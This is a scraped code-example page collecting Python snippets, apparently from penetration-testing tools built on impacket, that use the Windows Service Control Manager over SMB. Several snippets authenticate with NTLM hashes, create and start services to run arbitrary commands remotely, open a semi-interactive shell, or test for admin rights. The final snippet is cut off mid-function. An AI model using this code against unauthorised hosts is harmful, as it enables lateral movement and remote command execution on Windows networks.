Beispiel #1
0
 def invoke_checklocaladminaccess(self):
     try:
         scmr.hROpenSCManagerW(self._rpc_connection,
                               '{}\x00'.format(self._target_computer),
                               'ServicesActive\x00', 0xF003F)
     except DCERPCException:
         return False
     return True
Beispiel #2
0
    def list_services(self):
        services = {}
        # https://github.com/SecureAuthCorp/impacket/blob/master/examples/services.py
        self.create_rpc_con(r'\svcctl')
        ans = scmr.hROpenSCManagerW(self.rpc_connection)
        scManagerHandle = ans['lpScHandle']
        resp = scmr.hREnumServicesStatusW(self.rpc_connection, scManagerHandle)
        for i in range(len(resp)):
            name = resp[i]['lpServiceName'][:-1]
            services[name] = {}
            services[name]['Name'] = name
            services[name]['Display'] = resp[i]['lpDisplayName'][:-1]

            state = resp[i]['ServiceStatus']['dwCurrentState']
            if state == scmr.SERVICE_CONTINUE_PENDING:
                services[name]['Status'] = "CONTINUE PENDING"
            elif state == scmr.SERVICE_PAUSE_PENDING:
                services[name]['Status'] = "PAUSE PENDING"
            elif state == scmr.SERVICE_PAUSED:
                services[name]['Status'] = "PAUSED"
            elif state == scmr.SERVICE_RUNNING:
                services[name]['Status'] = "RUNNING"
            elif state == scmr.SERVICE_START_PENDING:
                services[name]['Status'] = "START PENDING"
            elif state == scmr.SERVICE_STOP_PENDING:
                services[name]['Status'] = "STOP PENDING"
            elif state == scmr.SERVICE_STOPPED:
                services[name]['Status'] = "STOPPED"
            else:
                services[name]['Status'] = "UNKNOWN"

        self.rpc_connection.disconnect()
        return services
Beispiel #3
0
class RemoteShell(cmd.Cmd):
    def __init__(self, share, rpc, mode, serviceName):
        cmd.Cmd.__init__(self)
        self.__share = share
        self.__mode = mode
        self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME
        self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
        self.__outputBuffer = ''
        self.__command = ''
        self.__shell = '%COMSPEC% /Q /c '
        self.__serviceName = serviceName
        self.__rpc = rpc
        self.intro = '[!] Launching semi-interactive shell - Careful what you execute'

        self.__scmr = rpc.get_dce_rpc()
        try:
            self.__scmr.connect()
        except Exception, e:
            logging.critical(str(e))
            sys.exit(1)

        s = rpc.get_smb_connection()

        # We don't wanna deal with timeouts from now on.
        s.setTimeout(100000)
        if mode == 'SERVER':
            myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
            self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr,
                                                      DUMMY_SHARE)

        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(self.__scmr)
        self.__scHandle = resp['lpScHandle']
        self.transferClient = rpc.get_smb_connection()
        self.do_cd('')
Beispiel #4
0
    def __init__(self, share, rpc, mode, serviceName):
        cmd.Cmd.__init__(self)
        self.__share = share
        self.__mode = mode
        self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME
        self.__batchFile = '%TEMP%\\' + BATCH_FILENAME 
        self.__outputBuffer = b''
        self.__command = ''
        self.__shell = '%COMSPEC% /Q /c '
        self.__serviceName = serviceName
        self.__rpc = rpc
        self.intro = '[!] Launching semi-interactive shell - Careful what you execute'

        self.__scmr = rpc.get_dce_rpc()
        try:
            self.__scmr.connect()
        except Exception as e:
            logging.critical(str(e))
            sys.exit(1)

        s = rpc.get_smb_connection()

        # We don't wanna deal with timeouts from now on.
        s.setTimeout(100000)
        if mode == 'SERVER':
            myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
            self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)

        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(self.__scmr)
        self.__scHandle = resp['lpScHandle']
        self.transferClient = rpc.get_smb_connection()
        self.do_cd('')
Beispiel #5
0
    def __init__(self, host, protocol, username = '', password = '', domain = '', hashes = None, share = None):
        self.__host = host
        self.__username = username
        self.__password = password
        self.__serviceName = gen_random_string()
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__share = share
        self.__output = '\\Windows\\Temp\\' + gen_random_string() 
        self.__batchFile = '%TEMP%\\' + gen_random_string() + '.bat'
        self.__outputBuffer = ''
        self.__shell = '%COMSPEC% /Q /c '
        self.__retOutput = False
        self.__rpctransport = None
        self.__scmr = None
        self.__conn = None
        #self.__mode  = mode
        #self.__aesKey = aesKey
        #self.__doKerberos = doKerberos

        if hashes is not None:
        #This checks to see if we didn't provide the LM Hash
            if hashes.find(':') != -1:
                self.__lmhash, self.__nthash = hashes.split(':')
            else:
                self.__nthash = hashes

        if self.__password is None:
            self.__password = ''

        protodef = SMBEXEC.KNOWN_PROTOCOLS['{}/SMB'.format(protocol)]
        port = protodef[1]

        stringbinding = protodef[0] % self.__host

        self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
        self.__rpctransport.set_dport(port)

        if hasattr(self.__rpctransport,'preferred_dialect'):
            self.__rpctransport.preferred_dialect(SMB_DIALECT)
        if hasattr(self.__rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
        #rpctransport.set_kerberos(self.__doKerberos)

        self.__scmr = self.__rpctransport.get_dce_rpc()
        try:
            self.__scmr.connect()
        except Exception as e:
            traceback.print_exc()

        s = self.__rpctransport.get_smb_connection()
        # We don't wanna deal with timeouts from now on.
        s.setTimeout(100000)

        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(self.__scmr)
        self.__scHandle = resp['lpScHandle']
        self.transferClient = self.__rpctransport.get_smb_connection()
Beispiel #6
0
    def connect(self):
        rpctransport = transport.DCERPCTransportFactory(self.stringBinding)
        if len(self.hashes) > 0:
            lmhash, nthash = self.hashes.split(':')
        else:
            lmhash = ''
            nthash = ''
        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(self.username, self.password,
                                         self.domain, lmhash, nthash)
        dce = rpctransport.get_dce_rpc()
        #dce.set_max_fragment_size(32)
        dce.connect()
        if self.__class__.__name__ == 'TCPTransport':
            dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
        dce.bind(scmr.MSRPC_UUID_SCMR)
        #rpc = scmr.DCERPCSvcCtl(dce)
        lpMachineName = 'DUMMY\x00'
        lpDatabaseName = 'ServicesActive\x00'
        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS | scmr.SC_MANAGER_ENUMERATE_SERVICE

        resp = scmr.hROpenSCManagerW(dce, lpMachineName, lpDatabaseName,
                                     desiredAccess)
        scHandle = resp['lpScHandle']

        return dce, rpctransport, scHandle
Beispiel #7
0
 def clean(self):
     try:
         scmr.hRDeleteService(self._scmr, self._service)
         scmr.hRCloseServiceHandle(self._scmr, self._service)
         logging.debug("Service %s deleted" % self._serviceName)
     except:
         logging.warning("An error occurred while trying to delete service %s. Trying again." % self._serviceName)
         try:
             logging.debug("Trying to connect back to SCMR")
             self._scmr = self._rpctransport.get_dce_rpc()
             try:
                 self._scmr.connect()
             except Exception as e:
                 raise Exception("An error occurred while connecting to SVCCTL: %s" % e)
             logging.debug("Connected to SCMR")
             self._scmr.bind(scmr.MSRPC_UUID_SCMR)
             resp = scmr.hROpenSCManagerW(self._scmr)
             _scHandle = resp['lpScHandle']
             resp = scmr.hROpenServiceW(self._scmr, _scHandle, self._serviceName)
             logging.debug("Found service %s" % self._serviceName)
             self._service = resp['lpServiceHandle']
             scmr.hRDeleteService(self._scmr, self._service)
             logging.debug("Service %s deleted" % self._serviceName)
             scmr.hRControlService(self._scmr, self._service, scmr.SERVICE_CONTROL_STOP)
             scmr.hRCloseServiceHandle(self._scmr, self._service)
         except scmr.DCERPCException:
             logging.debug("A DCERPCException error occured while trying to delete %s" % self._serviceName, exc_info=True)
             pass
         except:
             logging.debug("An unknown error occured while trying to delete %s" % self._serviceName, exc_info=True)
             pass
Beispiel #8
0
def service_exec(conn, cmd):
    import random
    import string
    from impacket.dcerpc.v5 import transport, srvs, scmr

    service_name = ''.join([random.choice(string.letters) for i in range(4)])

    # Setup up a DCE SMBTransport with the connection already in place
    rpcsvc = conn.get_dce_rpc('svcctl')
    rpcsvc.connect()
    rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
    svcHandle = None
    try:
        print("Opening SVCManager on %s....." % conn.get_remote_host())
        resp = scmr.hROpenSCManagerW(rpcsvc)
        svcHandle = resp['lpScHandle']

        # First we try to open the service in case it exists. If it does, we remove it.
        try:
            resp = scmr.hROpenServiceW(rpcsvc, svcHandle,
                                       service_name + '\x00')
        except Exception as e:
            if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
                raise e  # Unexpected error
        else:
            # It exists, remove it
            scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
            scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])

        print('Creating service %s.....' % service_name)
        resp = scmr.hRCreateServiceW(rpcsvc,
                                     svcHandle,
                                     service_name + '\x00',
                                     service_name + '\x00',
                                     lpBinaryPathName=cmd + '\x00')
        serviceHandle = resp['lpServiceHandle']

        if serviceHandle:
            # Start service
            try:
                print('Starting service %s.....' % service_name)
                scmr.hRStartServiceW(rpcsvc, serviceHandle)
                # is it really need to stop?
                # using command line always makes starting service fail because SetServiceStatus() does not get called
                #print('Stoping service %s.....' % service_name)
                #scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
            except Exception as e:
                print(str(e))

            print('Removing service %s.....' % service_name)
            scmr.hRDeleteService(rpcsvc, serviceHandle)
            scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
    except Exception as e:
        print("ServiceExec Error on: %s" % conn.get_remote_host())
        print(str(e))
    finally:
        if svcHandle:
            scmr.hRCloseServiceHandle(rpcsvc, svcHandle)

    rpcsvc.disconnect()
Beispiel #9
0
    def execute(self, command, output=False):
        stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % self.__host
        logging.debug('StringBinding %s' % stringbinding)
        self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
        self.__rpctransport.set_dport(self.__port)

        if hasattr(self.__rpctransport, 'setRemoteHost'):
            self.__rpctransport.setRemoteHost(self.__host)

        #if hasattr(self.__rpctransport,'preferred_dialect'):
        #    self.__rpctransport.preferred_dialect(impacket.smb.SMB_DIALECT)

        if hasattr(self.__rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            self.__rpctransport.set_credentials(self.__username,
                                                self.__password, self.__domain,
                                                self.__lmhash, self.__nthash)
        #rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)

        self.__scmr = self.__rpctransport.get_dce_rpc()
        self.__scmr.connect()

        s = self.__rpctransport.get_smb_connection()
        # We don't wanna deal with timeouts from now on.
        s.setTimeout(100000)

        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(self.__scmr)

        self.__scHandle = resp['lpScHandle']

        self.__retOutput = output
        self.execute_fileless(command)
        self.finish()
        return self.__outputBuffer
Beispiel #10
0
    def __checkServiceStatus(self):
        # Open SC Manager
        ans = scmr.hROpenSCManagerW(self.__scmr)
        self.__scManagerHandle = ans['lpScHandle']
        # Now let's open the service
        ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
        self.__serviceHandle = ans['lpServiceHandle']
        # Let's check its status
        ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
        if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
            logging.info('Service %s is in stopped state'% self.__serviceName)
            self.__shouldStop = True
            self.__started = False
        elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
            logging.debug('Service %s is already running'% self.__serviceName)
            self.__shouldStop = False
            self.__started  = True
        else:
            raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])

        # Let's check its configuration if service is stopped, maybe it's disabled :s
        if self.__started is False:
            ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)
            if ans['lpServiceConfig']['dwStartType'] == 0x4:
                logging.info('Service %s is disabled, enabling it'% self.__serviceName)
                self.__disabled = True
                scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)
            logging.info('Starting service %s' % self.__serviceName)
            scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)
            time.sleep(1)
Beispiel #11
0
def stop_service(target):
    username, password, domain, nthash = target.creds
    lmhash = "" if password else "aad3b435b51404eeaad3b435b51404ee"
    aesKey = None
    remoteName = target.target_ip
    remoteHost = target.target_ip

    stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName
    rpctransport = transport.DCERPCTransportFactory(stringbinding)
    rpctransport.set_dport(target.target_port)
    rpctransport.setRemoteHost(remoteHost)
    if hasattr(rpctransport, 'set_credentials'):
        rpctransport.set_credentials(username, password, domain, lmhash,
                                     nthash, aesKey)

    rpctransport.set_kerberos(False, None)

    dce = rpctransport.get_dce_rpc()
    dce.connect()
    dce.bind(scmr.MSRPC_UUID_SCMR)
    rpc = dce

    ans = scmr.hROpenSCManagerW(rpc)
    scManagerHandle = ans['lpScHandle']
    ans = scmr.hROpenServiceW(rpc, scManagerHandle, "lateral" + '\x00')
    serviceHandle = ans['lpServiceHandle']
    #print("[*] stopping")
    #scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
    print("[*] deleting")
    scmr.hRDeleteService(rpc, serviceHandle)
    scmr.hRCloseServiceHandle(rpc, serviceHandle)
Beispiel #12
0
    def connect(self):
        rpctransport = transport.DCERPCTransportFactory(self.stringBinding)
        if len(self.hashes) > 0:
            lmhash, nthash = self.hashes.split(':')
        else:
            lmhash = ''
            nthash = ''
        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash)
        dce = rpctransport.get_dce_rpc()
        #dce.set_max_fragment_size(32)
        dce.connect()
        if self.__class__.__name__ == 'TCPTransport':
            dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
        dce.bind(scmr.MSRPC_UUID_SCMR)
        #rpc = scmr.DCERPCSvcCtl(dce)
        lpMachineName = 'DUMMY\x00'
        lpDatabaseName = 'ServicesActive\x00'
        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS | scmr.SC_MANAGER_ENUMERATE_SERVICE
        
        resp = scmr.hROpenSCManagerW(dce,lpMachineName, lpDatabaseName, desiredAccess)
        scHandle = resp['lpScHandle']

        return dce, rpctransport, scHandle
Beispiel #13
0
    def __init__(self, share, rpc, mode, serviceName, command):
        self.__share = share
        self.__mode = mode
        self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME 
        self.__batchFile = '%TEMP%\\' + BATCH_FILENAME 
        self.__outputBuffer = ''
        self.__command = command
        self.__shell = '%COMSPEC% /Q /c '
        self.__serviceName = serviceName
        self.__rpc = rpc
        self.__scmr = rpc.get_dce_rpc()

        try:
            self.__scmr.connect()
        except Exception as e:
            print "[!] {}".format(e)
            raise

        s = rpc.get_smb_connection()

        # We don't wanna deal with timeouts from now on.
        s.setTimeout(100000)
        if mode == 'SERVER':
            myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
            self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)

        try:
            self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
            resp = scmr.hROpenSCManagerW(self.__scmr)
            self.__scHandle = resp['lpScHandle']
            self.transferClient = rpc.get_smb_connection()
        except Exception as e:
            print "[-] {}".format(e)
Beispiel #14
0
def service_exec(conn, cmd):
    import random
    import string
    from impacket.dcerpc.v5 import transport, srvs, scmr

    service_name = ''.join([random.choice(string.letters) for i in range(4)])
    print service_name
    # Setup up a DCE SMBTransport with the connection already in place
    rpcsvc = conn.get_dce_rpc('svcctl')
    rpcsvc.connect()
    rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
    svnHandle = None
    try:
        print("Opening SVCManager on %s....." % conn.get_remote_host())
        resp = scmr.hROpenSCManagerW(rpcsvc)
        svcHandle = resp['lpScHandle']

        # First we try to open the service in case it exists. If it does, we remove it.
        try:
            resp = scmr.hROpenServiceW(rpcsvc, svcHandle,
                                       service_name + '\x00')
        except Exception, e:
            if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
                raise e  # Unexpected error
        else:
Beispiel #15
0
    def connect_scmr(self):
        rpctransport = transport.DCERPCTransportFactory(
            r'ncacn_np:%s[\pipe\svcctl]' % self.machine)
        if len(self.hashes) > 0:
            lmhash, nthash = self.hashes.split(':')
        else:
            lmhash = ''
            nthash = ''
        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(self.username, self.password,
                                         self.domain, lmhash, nthash)
        dce = rpctransport.get_dce_rpc()
        # dce.set_max_fragment_size(32)
        dce.connect()
        dce.bind(scmr.MSRPC_UUID_SCMR)
        lpMachineName = 'DUMMY\x00'
        lpDatabaseName = 'ServicesActive\x00'
        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | \
                        scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | \
                        scmr.SERVICE_ENUMERATE_DEPENDENTS | scmr.SC_MANAGER_ENUMERATE_SERVICE

        resp = scmr.hROpenSCManagerW(dce, lpMachineName, lpDatabaseName,
                                     desiredAccess)
        scHandle = resp['lpScHandle']

        return dce, rpctransport, scHandle
Beispiel #16
0
    def __init__(self, share, rpc, mode, serviceName, command):
        self.__share = share
        self.__mode = mode
        self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME
        self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
        self.__outputBuffer = ''
        self.__command = command
        self.__shell = '%COMSPEC% /Q /c '
        self.__serviceName = serviceName
        self.__rpc = rpc
        self.__scmr = rpc.get_dce_rpc()

        try:
            self.__scmr.connect()
        except Exception as e:
            print "[!] {}".format(e)
            raise

        s = rpc.get_smb_connection()

        # We don't wanna deal with timeouts from now on.
        s.setTimeout(100000)
        if mode == 'SERVER':
            myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
            self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)

        try:
            self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
            resp = scmr.hROpenSCManagerW(self.__scmr)
            self.__scHandle = resp['lpScHandle']
            self.transferClient = rpc.get_smb_connection()
        except Exception as e:
            print "[-] {}".format(e)
Beispiel #17
0
    def __checkServiceStatus(self):
        # Open SC Manager
        ans = scmr.hROpenSCManagerW(self.__scmr)
        self.__scManagerHandle = ans['lpScHandle']
        # Now let's open the service
        ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle,
                                  self.__serviceName)
        self.__serviceHandle = ans['lpServiceHandle']
        # Let's check its status
        ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
        if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
            logging.info('Service %s is in stopped state' % self.__serviceName)
            self.__shouldStop = True
            self.__started = False
        elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
            logging.debug('Service %s is already running' % self.__serviceName)
            self.__shouldStop = False
            self.__started = True
        else:
            raise Exception('Unknown service state 0x%x - Aborting' %
                            ans['CurrentState'])

        # Let's check its configuration if service is stopped, maybe it's disabled :s
        if self.__started is False:
            ans = scmr.hRQueryServiceConfigW(self.__scmr, self.__serviceHandle)
            if ans['lpServiceConfig']['dwStartType'] == 0x4:
                logging.info('Service %s is disabled, enabling it' %
                             self.__serviceName)
                self.__disabled = True
                scmr.hRChangeServiceConfigW(self.__scmr,
                                            self.__serviceHandle,
                                            dwStartType=0x3)
            logging.info('Starting service %s' % self.__serviceName)
            scmr.hRStartServiceW(self.__scmr, self.__serviceHandle)
            time.sleep(1)
Beispiel #18
0
 def get_service_handle(self, dce):
     lpMachineName = 'DUMMY\x00'
     lpDatabaseName = 'ServicesActive\x00'
     desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS | scmr.SC_MANAGER_ENUMERATE_SERVICE
     resp = scmr.hROpenSCManagerW(dce, lpMachineName, lpDatabaseName,
                                  desiredAccess)
     scHandle = resp['lpScHandle']
     return scHandle
Beispiel #19
0
    def __openSVCManager(self):
        self.__log__(logging.DEBUG, 'Opening service manager')

        self.__dcerpc.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(self.__dcerpc)
        self.__pendingCleanupActions.append((self.__closeSVCManager, 3))
        self.__SVCManager = resp['lpScHandle']
        return
Beispiel #20
0
    def __init__(
        self, host, share_name, protocol, username="", password="", domain="", hashes=None, share=None, port=445
    ):
        self.__host = host
        self.__share_name = share_name
        self.__port = port
        self.__username = username
        self.__password = password
        self.__serviceName = gen_random_string()
        self.__domain = domain
        self.__lmhash = ""
        self.__nthash = ""
        self.__share = share
        self.__output = None
        self.__batchFile = None
        self.__outputBuffer = ""
        self.__shell = "%COMSPEC% /Q /c "
        self.__retOutput = False
        self.__rpctransport = None
        self.__scmr = None
        self.__conn = None
        # self.__mode  = mode
        # self.__aesKey = aesKey
        # self.__doKerberos = doKerberos

        if hashes is not None:
            # This checks to see if we didn't provide the LM Hash
            if hashes.find(":") != -1:
                self.__lmhash, self.__nthash = hashes.split(":")
            else:
                self.__nthash = hashes

        if self.__password is None:
            self.__password = ""

        stringbinding = "ncacn_np:%s[\pipe\svcctl]" % self.__host
        logging.debug("StringBinding %s" % stringbinding)
        self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
        self.__rpctransport.set_dport(self.__port)

        if hasattr(self.__rpctransport, "setRemoteHost"):
            self.__rpctransport.setRemoteHost(self.__host)
        if hasattr(self.__rpctransport, "set_credentials"):
            # This method exists only for selected protocol sequences.
            self.__rpctransport.set_credentials(
                self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash
            )
        # rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)

        self.__scmr = self.__rpctransport.get_dce_rpc()
        self.__scmr.connect()
        s = self.__rpctransport.get_smb_connection()
        # We don't wanna deal with timeouts from now on.
        s.setTimeout(100000)

        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(self.__scmr)
        self.__scHandle = resp["lpScHandle"]
Beispiel #21
0
    def __init__(self, host, share_name, smbconnection, protocol, username = '', password = '', domain = '', doKerberos=False, aesKey=None, kdcHost=None, hashes = None, share = None, port=445):
        self.__host = host
        self.__share_name = "C$"
        self.__port = port
        self.__username = username
        self.__password = password
        self.__serviceName = gen_random_string()
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__share = share
        self.__smbconnection = smbconnection
        self.__output = None
        self.__batchFile = None
        self.__outputBuffer = b''
        self.__shell = '%COMSPEC% /Q /c '
        self.__retOutput = False
        self.__rpctransport = None
        self.__scmr = None
        self.__conn = None
        # self.__mode  = mode
        self.__aesKey = aesKey
        self.__doKerberos = doKerberos
        self.__kdcHost = kdcHost

        if hashes is not None:
        #This checks to see if we didn't provide the LM Hash
            if hashes.find(':') != -1:
                self.__lmhash, self.__nthash = hashes.split(':')
            else:
                self.__nthash = hashes

        if self.__password is None:
            self.__password = ''

        stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % self.__host
        logging.debug('StringBinding %s'%stringbinding)
        self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
        self.__rpctransport.set_dport(self.__port)

        if hasattr(self.__rpctransport, 'setRemoteHost'):
            self.__rpctransport.setRemoteHost(self.__host)
        if hasattr(self.__rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,self.__aesKey)
            self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)

        self.__scmr = self.__rpctransport.get_dce_rpc()
        if self.__doKerberos:
            self.__scmr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
        self.__scmr.connect()
        s = self.__rpctransport.get_smb_connection()
        # We don't wanna deal with timeouts from now on.
        s.setTimeout(100000)

        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(self.__scmr)
        self.__scHandle = resp['lpScHandle']
Beispiel #22
0
    def check_if_admin(self):
        if self.args.mssql:
            try:
                #I'm pretty sure there has to be a better way of doing this.
                #Currently we are just searching for our user in the sysadmin group

                self.conn.sql_query("EXEC sp_helpsrvrolemember 'sysadmin'")
                query_output = self.conn.printRows()
                if query_output.find('{}\\{}'.format(self.domain,
                                                     self.username)) != -1:
                    self.admin_privs = True
            except:
                pass

        elif not self.args.mssql:
            '''
                We use the OpenSCManagerW Win32API call to to establish a handle to the remote host. 
                If this succeeds, the user context has administrator access to the target.

                Idea stolen from PowerView's Invoke-CheckLocalAdminAccess
            '''

            stringBinding = r'ncacn_np:{}[\pipe\svcctl]'.format(self.host)

            rpctransport = transport.DCERPCTransportFactory(stringBinding)
            rpctransport.set_dport(self.args.smb_port)

            lmhash = ''
            nthash = ''
            if self.hash:
                if self.hash.find(':') != -1:
                    lmhash, nthash = self.hash.split(':')
                else:
                    nthash = self.hash

            if hasattr(rpctransport, 'set_credentials'):
                # This method exists only for selected protocol sequences.
                rpctransport.set_credentials(
                    self.username,
                    self.password if self.password is not None else '',
                    self.domain, lmhash, nthash)
            dce = rpctransport.get_dce_rpc()
            dce.connect()
            dce.bind(scmr.MSRPC_UUID_SCMR)

            lpMachineName = '{}\x00'.format(self.host)
            try:

                # 0xF003F - SC_MANAGER_ALL_ACCESS
                # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx

                resp = scmr.hROpenSCManagerW(dce, lpMachineName,
                                             'ServicesActive\x00', 0xF003F)
                self.admin_privs = True
            except DCERPCException:
                pass
Beispiel #23
0
def service_exec(conn, cmd):
	import random
	import string
	from impacket.dcerpc.v5 import transport, srvs, scmr
	
	service_name = ''.join([random.choice(string.letters) for i in range(4)])

	# Setup up a DCE SMBTransport with the connection already in place
	rpcsvc = conn.get_dce_rpc('svcctl')
	rpcsvc.connect()
	rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
	svcHandle = None
	try:
		print("Opening SVCManager on %s....." % conn.get_remote_host())
		resp = scmr.hROpenSCManagerW(rpcsvc)
		svcHandle = resp['lpScHandle']
		
		# First we try to open the service in case it exists. If it does, we remove it.
		try:
			resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
		except Exception as e:
			if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
				raise e  # Unexpected error
		else:
			# It exists, remove it
			scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
			scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
		
		print('Creating service %s.....' % service_name)
		resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
		serviceHandle = resp['lpServiceHandle']
		
		if serviceHandle:
			# Start service
			try:
				print('Starting service %s.....' % service_name)
				scmr.hRStartServiceW(rpcsvc, serviceHandle)
				# is it really need to stop?
				# using command line always makes starting service fail because SetServiceStatus() does not get called
				#print('Stoping service %s.....' % service_name)
				#scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
			except Exception as e:
				print(str(e))
			
			print('Removing service %s.....' % service_name)
			scmr.hRDeleteService(rpcsvc, serviceHandle)
			scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
	except Exception as e:
		print("ServiceExec Error on: %s" % conn.get_remote_host())
		print(str(e))
	finally:
		if svcHandle:
			scmr.hRCloseServiceHandle(rpcsvc, svcHandle)

	rpcsvc.disconnect()
Beispiel #24
0
    def __scmr_connect(self):
        '''
        Connect to svcctl named pipe
        '''
        self.smb_transport('svcctl')

        self.__dce = self.trans.get_dce_rpc()
        self.__dce.bind(scmr.MSRPC_UUID_SCMR)
        self.__rpc = self.__dce
        self.__resp = scmr.hROpenSCManagerW(self.__dce)
        self.__mgr_handle = self.__resp['lpScHandle']
Beispiel #25
0
    def invoke_checklocaladminaccess(self):

        try:
            # 0xF003F - SC_MANAGER_ALL_ACCESS
            # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
            ans = scmr.hROpenSCManagerW(self._rpc_connection,
                                        '{}\x00'.format(self._target_computer),
                                        'ServicesActive\x00', 0xF003F)
        except DCERPCException:
            return False

        return True
Beispiel #26
0
def check_admin(computer):
    # Good read: https://threathunterplaybook.com/library/windows/service_control_manager.html
    try:
        if cfg.dns_mode == '1':
            computer_ip = dnscfg.resolve(computer)[0].to_text()
        else:
            computer_ip = computer
        rpctransport = transport.SMBTransport(computer_ip, filename=r'\svcctl')
        rpctransport.set_credentials(username=user,
                                     password=password,
                                     domain=domain,
                                     lmhash='',
                                     nthash='',
                                     aesKey='')
